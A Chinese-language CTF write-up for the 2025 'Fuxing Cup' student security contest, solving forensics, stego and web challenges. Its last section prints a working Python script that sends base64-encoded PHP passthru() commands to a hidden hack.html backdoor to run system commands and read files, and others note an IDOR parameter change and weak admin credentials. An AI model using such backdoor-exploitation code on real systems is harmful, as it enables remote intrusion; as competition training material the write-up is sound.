“复兴杯”2025第五届大学生网络安全精英赛 (排位赛wp)

时间跟CISCN & 长城杯重了,不过也无伤大雅,题都不是很难,web题有点多,对我这种不擅长web的选手很不友好。。呜呜呜

还有一点就是没有对方向进行区分(差评。。)同时也没有血的加持。。www。。

解题过程:

第1题

CRC(循环冗余校验)在通信领域常被用作数据校验手段,以其高效性著称,能迅速检测出数据中的错误。小华最近遇到了一个难题:他有一个重要的压缩文件,但不幸忘记了设置的密码。你能帮助小华获取文件的内容吗?

注:flag格式flagxxxxxxxx,没有下划线_,没有{}。(本题分数:50分)

用zip伪加密工具得到里面内容的

是通过CRC32碰撞的方式直接爆破该文件内容

Flag值:flagnisp6d8s

第2题

启动环境 ,再给出环境的url后面加上路径/blogic/,进入网站,获得会员马利的个人信息的同时,就能获得flag值。

注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:100分)

先登录进去

可以看到 /profile2.php?card_id=2012345600 其中对应着卡号: 2012345600

将他改成

得到:

用账号:马利,密码:123456,登录得到

(说实话这题出的也是真够离谱的。。设置个这么简单的密码,猜也能猜出来啊。。)

Flag:flag_nisp_bbff2e

第3题

所给的磁盘文件中具有机密数据,尝试将其中的机密数据进行恢复。

flag为机密文件的内容。

注:flag格式为flag{xxx}。(本题分数:50分)

放到随波逐流里直接得到flag

Flag值:flag{h58yfs36vm}

第4题

安全研究员小明发现了一个内部系统登录页面,他通过弱口令成功进入了后台,但系统似乎隐藏着更多秘密。据说flag就藏在系统的根目录下,你能帮他找到吗?

注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:100分)

先弱口令进去,网址里给了账号:admin,密码:admin123

一眼SQL注入,用sqlmap跑就行了,

猪播是fw,不是web手,不怎么会跑,试了一下没跑出flag,就放弃了

第5题

007拿到一个gif图片,接头暗号就在其中,你能帮他拿到接头暗号嘛

注:flag格式flag{xxx}。(本题分数:50分)

拿到gif,直接帧提取

用随波自带的gif动图分解帧,分出117张图片,flag在第61张图片里

Flag值:flag{wasj_123_!@#}

第7题

已知受害者ip为192.168.20.141 ,请你分析现有数据包,寻找攻击者下载的秘密文件并挖掘其中的flag

注:flag格式为flag{xxx}。(本题分数:150分)

在这份流量里,攻击者(192.168.20.129 )从受害者(192.168.20.141:80 )下载到的"秘密文件"实际是一张被轻微破坏过头部信息的 PNG 图片 (HTTP 200 OK,Transfer-Encoding: chunked,连接端口为攻击者侧 60696)。

把 PNG 头和 IHDR 高度字段修复后,得到如图:

图片中直接写出了 flag:

Flag值:flag{fxb_wasj_1abx5}

第9题

打开网站,找到flag。

注:答题时禁止使用目录扫描、暴力破解、流量攻击等影响靶机稳定的操作,解题所需关键信息均已在题干 / 提示中给出,违规将取消本题成绩。flag格式为flag_xxx_xxx。(本题分数:150分)

直接上脚本,利用 hack.html 隐藏后门执行系统命令来读取 flag 的 Python 自动化利用脚本

python 复制代码
import requests
import base64
import re
import sys

def get_flag(base_url):
    # 初始化配置
    session = requests.Session()
    session.verify = False
    requests.packages.urllib3.disable_warnings()
    target_url = f"{base_url.rstrip('/')}/ctf/index.php?file=hack.html"

    # 验证连接
    try:
        if session.get(target_url, timeout=10).status_code != 200:
            print("[-] 连接失败")
            return
    except Exception as e:
        print(f"[-] 连接异常: {e}")
        return

    # 执行命令函数
    def exec_cmd(cmd):
        # 用passthru(兼容性最好,避开disable_functions)
        php_code = f"passthru('{cmd}');"
        payload = base64.b64encode(php_code.encode()).decode()
        # 核心参数
        data = {"ctf": "1", "shell": payload}
        try:
            res = session.post(target_url, data=data, timeout=10)
            clean_res = re.sub(r'<[^>]+>', '', res.text).replace("hello", "").replace("ERROR!", "").strip()
            return clean_res
        except:
            return None

    # 核心flag路径
    flag_paths = [
        "../flag", "../flag.txt", "../flag.php",
        "../../flag", "flag.txt", "/var/www/html/flag",
        "/flag", "/flag.txt"
    ]

    # 遍历路径读取flag
    print("[*] 开始查找flag...")
    for path in flag_paths:
        output = exec_cmd(f"/bin/cat {path}")
        if output and "flag_" in output:
            print(f"[+] 找到flag: {[line.strip() for line in output.splitlines() if 'flag_' in line][0]}")
            return
    print("[-] 未找到flag")

if __name__ == "__main__":
    # 默认靶机URL,支持命令行传参
    target_url = sys.argv[1] if len(sys.argv) > 1 else "网址"
    get_flag(target_url)

总结:

题是真的一点也不难,都能一把嗦(实话不如新生赛的难度。。)可能是禁止使用AI进行比赛吧

希望线下的时候,能分一下各个方向的类吧(Misc、Web、Crypto、Reverse、Pwn)

相关推荐
wheeldown19 小时前
【Linux】 Linux网络编程入门:Soket编程详解
linux·运维·网络
C_心欲无痕1 天前
前端实现水印的两种方式:SVG 与 Canvas
前端·安全·水印
Godspeed Zhao1 天前
现代智能汽车中的无线技术25——Wi-Fi(13)
网络·汽车·智能路由器·信息与通信
Bruce_Liuxiaowei1 天前
基于HTA的Meterpreter反向Shell攻击实验
网络·windows·经验分享·网络安全·渗透测试
一三检测冯野180212918131 天前
贴合NMPA注册 GB/T5398-2016助力医药包装运输安全
安全·模拟运输测试·包装运输测试·包装振动测试·环境试验·包装跌落测试
Dreamboat¿1 天前
解析PHP安全漏洞:Phar反序列化、Filter链与文件包含的高级利用与防御
android·网络·php
laplace01231 天前
第七章 构建自己的agent智能体框架
网络·人工智能·microsoft·agent
北邮刘老师1 天前
A3C Network:智能体互联网的层次化视图
运维·服务器·网络
天天睡大觉1 天前
Python学习11
网络·python·学习
XRJ040618xrj1 天前
如何在Linux中根据物理网卡建立虚拟网卡
linux·服务器·网络